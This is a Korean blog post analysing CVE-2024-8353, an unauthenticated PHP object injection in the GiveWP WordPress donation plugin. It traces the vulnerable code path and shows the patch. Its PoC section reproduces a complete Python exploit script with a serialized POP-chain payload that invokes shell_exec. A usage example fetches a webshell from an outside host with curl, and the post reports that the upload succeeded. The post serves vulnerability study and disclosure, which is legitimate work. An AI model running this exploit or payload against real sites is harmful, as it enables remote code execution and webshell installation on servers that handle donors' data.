Post

[CVE-2024-8353] 취약점 분석 보고서

💡 요약

CVE-2024-8353은 WordPress의 기부 및 모금 플랫폼 플러그인인 GiveWP에서 발견된 PHP Object Injection 취약점입니다.
이 취약점은 GiveWP 3.16.1 이하 버전에서 give_titlecard_address와 같은 파라미터를 통한 신뢰할 수 없는 입력의 역직렬화로 인해 발생하며,
인증되지 않은 공격자가 PHP 객체를 주입할 수 있습니다. 또한, POP(Property Oriented Programming) Chain의 존재로 인해
공격자는 임의의 파일 삭제나 원격 코드 실행을 수행할 수 있습니다.

1. 취약점 개요

  • 취약점 번호: CVE-2024-8353
  • 영향 받는 버전: GiveWP 3.16.1 이하
  • 취약점 유형: PHP Object Injection
  • CVSS: 10.0
  • 취약점 패치 버전: 3.16.2

해당 취약점은 WordPress의 기부 및 모금 플러그인인 GiveWP에서 발견된 PHP Object Injection 취약점입니다.
입력 파라미터 give_titlecard_address의 역직렬화를 통해 공격자가 악의적인 객체를 삽입하고,
POP(Property Oriented Programming) 체인을 이용하여 원격 코드 실행 및 임의 파일 삭제 등의 공격이 가능합니다.

2. 취약점 상세

2.1 취약점 원인

give_process_donation_form() 함수는 사용자의 기부 데이터를 처리하는 핵심 기능을 담당합니다.
주요 처리 흐름은 다음과 같습니다:

  1. 사용자가 기부 폼을 제출하면 $_POST 데이터를 받아 give_clean() 함수를 통해 필터링합니다.
  2. 폼의 AJAX 제출 여부를 확인하고, give_verify_donation_form_nonce()를 통해 CSRF 토큰을 검증합니다.
  3. give_donation_form_has_serialized_fields() 함수를 통해 유효성 검사를 수행합니다.
  4. give_get_donation_form_user() 함수를 통해 사용자 데이터를 로드합니다.
  5. 사용자 정보가 적절한지 확인한 후 기부 정보를 설정하고 결제 게이트웨이로 전송합니다.

    2.2 취약점 우회 및 문제점

전체 코드 ```php function give_process_donation_form() { // Sanitize Posted Data. $post_data = give_clean( $_POST ); // WPCS: input var ok, CSRF ok. // Check whether the form submitted via AJAX or not. $is_ajax = isset( $post_data['give_ajax'] ); // Verify donation form nonce. if ( ! give_verify_donation_form_nonce( $post_data['give-form-hash'], $post_data['give-form-id'] ) ) { if ( $is_ajax ) { do_action( 'give_ajax_donation_errors' ); give_die(); } else { give_send_back_to_checkout(); } } do_action( 'give_pre_process_donation' ); // Validate the form $_POST data. $valid_data = give_donation_form_validate_fields(); $deprecated = $post_data; do_action( 'give_checkout_error_checks', $valid_data, $deprecated ); // Process the login form. if ( isset( $post_data['give_login_submit'] ) ) { give_process_form_login(); } // Validate the user. $user = give_get_donation_form_user( $valid_data ); if ( false === $valid_data || ! $user || give_get_errors() ) { if ( $is_ajax ) { do_action( 'give_ajax_donation_errors' ); give_die(); } else { return false; } } // If AJAX send back success to proceed with form submission. if ( $is_ajax ) { echo 'success'; give_die(); } do_action( 'give_process_donation_after_validation' ); // Setup user information. $user_info = [ 'id' => $user['user_id'], 'title' => $user['user_title'], 'email' => $user['user_email'], 'first_name' => $user['user_first'], 'last_name' => $user['user_last'], 'address' => $user['address'], ]; $auth_key = defined( 'AUTH_KEY' ) ? AUTH_KEY : ''; // Donation form ID. $form_id = isset( $post_data['give-form-id'] ) ? absint( $post_data['give-form-id'] ) : 0; $price = isset( $post_data['give-amount'] ) ? (float) apply_filters( 'give_donation_total', give_maybe_sanitize_amount( $post_data['give-amount'], [ 'currency' => give_get_currency( $form_id ) ] ) ) : '0.00'; $purchase_key = strtolower( md5( $user['user_email'] . date( 'Y-m-d H:i:s' ) . $auth_key . uniqid( 'give', true ) ) ); $purchase_key = apply_filters( 'give_donation_purchase_key', $purchase_key, $valid_data['gateway'], $purchase_key ); // Setup donation information. $donation_data = [ 'price' => $price, 'purchase_key' => $purchase_key, 'user_email' => $user['user_email'], 'date' => date( 'Y-m-d H:i:s', current_time( 'timestamp' ) ), 'user_info' => stripslashes_deep( $user_info ), 'post_data' => $post_data, 'gateway' => $valid_data['gateway'], 'card_info' => $valid_data['cc_info'], ]; // Add the user data for hooks. $valid_data['user'] = $user; do_action( 'give_checkout_before_gateway', $post_data, $user_info, $valid_data ); // Sanity check for price. if ( ! $donation_data['price'] ) { // Revert to manual. $donation_data['gateway'] = 'manual'; $_POST['give-gateway'] = 'manual'; } $donation_data = apply_filters( 'give_donation_data_before_gateway', $donation_data, $valid_data ); // Setup the data we're storing in the donation session. $session_data = $donation_data; // Make sure credit card numbers are never stored in sessions. unset( $session_data['card_info']['card_number'] ); unset( $session_data['post_data']['card_number'] ); // Used for showing data to non logged-in users after donation, and for other plugins needing donation data. give_set_purchase_session( $session_data ); ob_start(); // Send info to the gateway for payment processing. give_send_to_gateway( $donation_data['gateway'], $donation_data ); ob_get_clean(); give_die(); } ```
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
$post_data = give_clean( $_POST );
...
if ( ! give_verify_donation_form_nonce( $post_data['give-form-hash'], $post_data['give-form-id'] ) ) {
    give_send_back_to_checkout();
}
...
if (give_donation_form_has_serialized_fields($post_data)) {
    give_set_error('invalid_serialized_fields', esc_html__('Serialized fields detected. Go away!', 'give'));
}
...
$user = give_get_donation_form_user( $valid_data );
$donation_data = [
    'user_info' => stripslashes_deep( $user_info ),
    'post_data' => $post_data,
];
...
give_send_to_gateway( $donation_data['gateway'], $donation_data );

give_donation_form_has_serialized_fields() 함수를 통해 유효성 검사를 수행하지만 give_title 매개변수는 검사를 우회할 수 있습니다.

1
2
3
if (empty($user['user_title']) || strlen(trim($user['user_title'])) < 1) {
    $user['user_title'] = !empty($post_data['give_title']) ? strip_tags(trim($post_data['give_title'])) : '';
}

위 데이터는 give_send_to_gateway() 함수를 통해 게이트웨이에 전송되고, 그 과정에서 데이터베이스에 다음과 같이 저장됩니다.

1
2
3
4
5
6
7
8
9
10
11
12
13
DB::table('give_donors')
    ->insert($args);
 
$donorId = DB::last_insert_id();
 
foreach ($this->getCoreDonorMeta($donor) as $metaKey => $metaValue) {
    DB::table('give_donormeta')
        ->insert([
            'donor_id' => $donorId,
            'meta_key' => $metaKey,
            'meta_value' => $metaValue,
        ]);
}

이후 기부자 메타데이터를 저장하는 과정에서 _give_donor_title_prefix 키로 직렬화된 데이터가 저장되며, 나중에 역직렬화됩니다.

1
2
3
4
5
6
7
8
9
10
private function getCoreDonorMeta(Donor $donor): array
{
    return [
        DonorMetaKeys::FIRST_NAME => $donor->firstName,
        DonorMetaKeys::LAST_NAME => $donor->lastName,
        DonorMetaKeys::PREFIX => $donor->prefix ?? null,
    ];
}

$user_info[ $key ] = Give()->donor_meta->get_meta( $donor->id, '_give_donor_title_prefix', true );

검증 함수 give_donation_form_has_serialized_fields()를 통해 유효성 검사를 수행함에도 불구하고, 아래와 같이 give_title 파라미터는 필터링을 우회할 수 있습니다.

1
2
3
if (empty($user['user_title']) || strlen(trim($user['user_title'])) < 1) {
    $user['user_title'] = !empty($post_data['give_title']) ? strip_tags(trim($post_data['give_title'])) : '';
}

이 데이터는 give_send_to_gateway() 함수를 통해 결제 게이트웨이로 전송되고, 데이터베이스에 직렬화된 상태로 저장됩니다. 이후 기부자 메타데이터를 저장하는 과정에서 _give*_*donor_title_prefix 키로 저장된 직렬화 데이터가 역직렬화되며, 공격자는 이를 통해 POP 체인을 이용하여 원격 명령 실행, 웹쉘 업로드 등의 공격을 수행할 수 있습니다.

3. PoC

3.1 PoC 코드

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
import requests
from faker import Faker
from urllib.parse import urlparse
import time
import sys
import rich_click as click

requests.packages.urllib3.disable_warnings(
    requests.packages.urllib3.exceptions.InsecureRequestWarning
)

class GiveWPExploit:

    def __init__(self, url: str, cmd: str):
        self.url = url
        self.cmd = cmd
        self.formId = None

    def spinner(duration=10, interval=0.1) -> None:
        spinner_chars = ['|', '/', '-', '\\']
        end_time = time.time() + duration
        while time.time() < end_time:
            for char in spinner_chars:
                sys.stdout.write(f'\r[{char}] Exploit loading, please wait...')
                sys.stdout.flush()
                time.sleep(interval)
        print("")

    def getBaseUrl(self, url) -> str:
        parsed_url = urlparse(url)
        base_url = f"{parsed_url.scheme}://{parsed_url.netloc}"
        return base_url

    def getFormId(self) -> None:
        baseUrl = self.getBaseUrl(self.url)
        reqUrl = f"{baseUrl}/wp-admin/admin-ajax.php"
        data = {
            'action': 'give_form_search'
        }
        response = requests.post(reqUrl, data=data)
        if response.status_code == 200: 
            json_data = response.json()
            ids = [item['id'] for item in json_data]
            names = [item['name'] for item in json_data]
            print("[+] Donation Forms:")
            for id, name in zip(ids, names):
                print(f"    {id}: {name}")
            self.formId = input("[+] Choose one (id) >>> ").strip()
        else:
            print(f"[-] HTTP Request Failed: {response.status_code}")
            exit(1)

    def getNonce(self) -> str:
        baseUrl = self.getBaseUrl(self.url)
        reqUrl = f"{baseUrl}/wp-admin/admin-ajax.php"
        self.getFormId()
        data = {
            'action': 'give_donation_form_nonce',
            'give_form_id': self.formId
        }
        response = requests.post(reqUrl, data=data)
        if response.status_code == 200: 
            json_data = response.json()
            nonce = json_data['data']
            print(f"[+] Nonce Found!! {nonce}")
            return nonce
        else:
            print(f"[-] HTTP Request Failed: {response.status_code}")
            exit(1)

    def getParams(self) -> dict:
        give_form_hash = self.getNonce()
        give_form_id = self.formId
        # Can be modified, form's first price's id =0, amount = price
        give_price_id = "0"
        give_amount = "10"

        # Fake Userinfo
        fake = Faker()
        params = {"give-form-id" : give_form_id, 
                  "give-form-hash" : give_form_hash, 
                  "give-price-id" : give_price_id,
                  "give-amount" : give_amount,
                  "give_first": fake.first_name(),
                  "give_last": fake.last_name(),
                  "give_email": fake.email()}
        return params


    def getData(self) -> dict:
        cmd = self.cmd
        payload = '\\O:19:"Stripe\\\\\\\\StripeObject":1:{s:10:"\\0*\\0_values";a:1:{s:3:"foo";O:62:"Give\\\\\\\\PaymentGateways\\\\\\\\DataTransferObjects\\\\\\\\GiveInsertPaymentData":1:{s:8:"userInfo";a:1:{s:7:"address";O:4:"Give":1:{s:12:"\\0*\\0container";O:33:"Give\\\\\\\\Vendors\\\\\\\\Faker\\\\\\\\ValidGenerator":3:{s:12:"\\0*\\0validator";s:10:"shell_exec";s:12:"\\0*\\0generator";O:34:"Give\\\\\\\\Onboarding\\\\\\\\SettingsRepository":1:{s:11:"\\0*\\0settings";a:1:{s:8:"address1";s:%d:"%s";}}s:13:"\\0*\\0maxRetries";i:10;}}}}}}' % (len(cmd), cmd)
        data = self.getParams()
        data['give_title'] = payload
        data['give-gateway'] = 'offline'
        data['action'] = 'give_process_donation'
        print(f"[+] Requested Data: ")
        print(data)
        return data
        
    def sendRequest(self) -> None:
        # Fake User_Agent
        fake = Faker()
        baseUrl = self.getBaseUrl(self.url)
        reqUrl = f"{baseUrl}/wp-admin/admin-ajax.php"
        data = self.getData()
        headers = {
            'User-Agent': fake.user_agent(),
            'Content-Type': 'application/x-www-form-urlencoded; charset=UTF-8',
            'Accept-Encoding': 'gzip, deflate, br'
        }
        response = requests.post(reqUrl, data=data, headers=headers)

    def exploit(self) -> None:
        self.sendRequest()

# argument parsing with rich_click
@click.command()
@click.option(
    "-u",
    "--url",
    required=True,
    help="Specify a URL or domain for vulnerability detection (Donation-Form Page)",
)
@click.option(
    "-c",
    "--cmd",
    default="/tmp/test",
    help="Specify the file to read from the server",
)

def main(url: str, cmd: str) -> None:
    cve_exploit = GiveWPExploit(url, cmd)
    GiveWPExploit.spinner(duration=1)
    cve_exploit.exploit()

if __name__ == "__main__":
    main()

[출처] https://github.com/EQSTLab/CVE-2024-8353

3.2 주요 기능

PoC 코드는 다음과 같은 기능을 포함합니다:

  1. getBaseUrl(): 입력된 URL에서 기본 도메인 및 경로 추출
  2. getFormId(): WordPress의 AJAX 요청을 통해 기부 폼 ID 조회 및 선택
  3. getNonce(): 선택한 폼 ID에 대한 보안 토큰(Nonce) 획득
  4. getParams(): Faker 라이브러리를 이용해 가짜 사용자 데이터를 생성하고 기부 데이터 구성
  5. getData(): 원격 코드 실행 페이로드를 구성하여 give_title에 악의적 페이로드 삽입
  6. sendRequest(): 조작된 데이터를 HTTP POST 방식으로 전송하여 공격 실행

    3.3 PoC 실행 흐름

  7. 사용자가 URL 입력
  8. 스크립트가 기부 폼 ID를 조회
  9. 해당 폼의 Nonce 토큰 획득
  10. give_title에 조작된 페이로드(예: shell_exec 함수 호출) 삽입
  11. 서버에 악의적 요청 전송 → 원격 코드 실행 유도

    3.4 Payload

    공격자는 아래의 직렬화된 객체를 활용하여 shell_exec 함수를 실행합니다.

    1
    
    payload = '\\O:19:"Stripe\\\\StripeObject":1:{s:10:"\\0*\\0_values";a:1:{s:3:"foo";O:62:"Give\\\\PaymentGateways\\\\DataTransferObjects\\\\GiveInsertPaymentData":1:{s:8:"userInfo";a:1:{s:7:"address";O:4:"Give":1:{s:12:"\\0*\\0container";O:33:"Give\\\\Vendors\\\\Faker\\\\ValidGenerator":3:{s:12:"\\0*\\0validator";s:10:"shell_exec";}}}}}}'
    

    위 페이로드는 서버에서 shell_exec() 호출을 발생시켜 악의적인 명령을 실행할 수 있습니다.

4. PoC 실습

테스트 환경(wordpress 6.3.2, GiveWP 3.16.0)에서 기부 폼을 작성합니다.

image.png

PoC코드를 실행합니다.

1
python3 CVE-2024-8353.py -u http://localhost:8080/?p=9 -c "curl -O https://rlaaudrb1104.github.io/test_webshell.php"

웹쉘을 성공적으로 업로드 할 수 있습니다.

image.png

5. 패치 내용 및 변경사항 분석

1
2
3
4
5
6
@@
- $user_info = stripslashes_deep( $user_info );
+ $user_info = array_map('\Give\Helpers\Utils::maybeSafeUnserialize', stripslashes_deep( $user_info ));
@@
-     'user_info'    => stripslashes_deep( $user_info ),
+     'user_info'    => $user_info,

해당 취약점에 대한 패치는 stripslashes_deep() 함수의 역직렬화 우회 문제를 해결하는 방식으로 적용되었습니다. 이를 통해 공격자가 직렬화된 악의적인 데이터를 주입할 수 없도록 방지합니다.

참고자료

https://www.wordfence.com/blog/2024/08/4998-bounty-awarded-and-100000-wordpress-sites-protected-against-unauthenticated-remote-code-execution-vulnerability-patched-in-givewp-wordpress-plugin/

https://github.com/EQSTLab/CVE-2024-8353

This post is licensed under CC BY 4.0 by the author.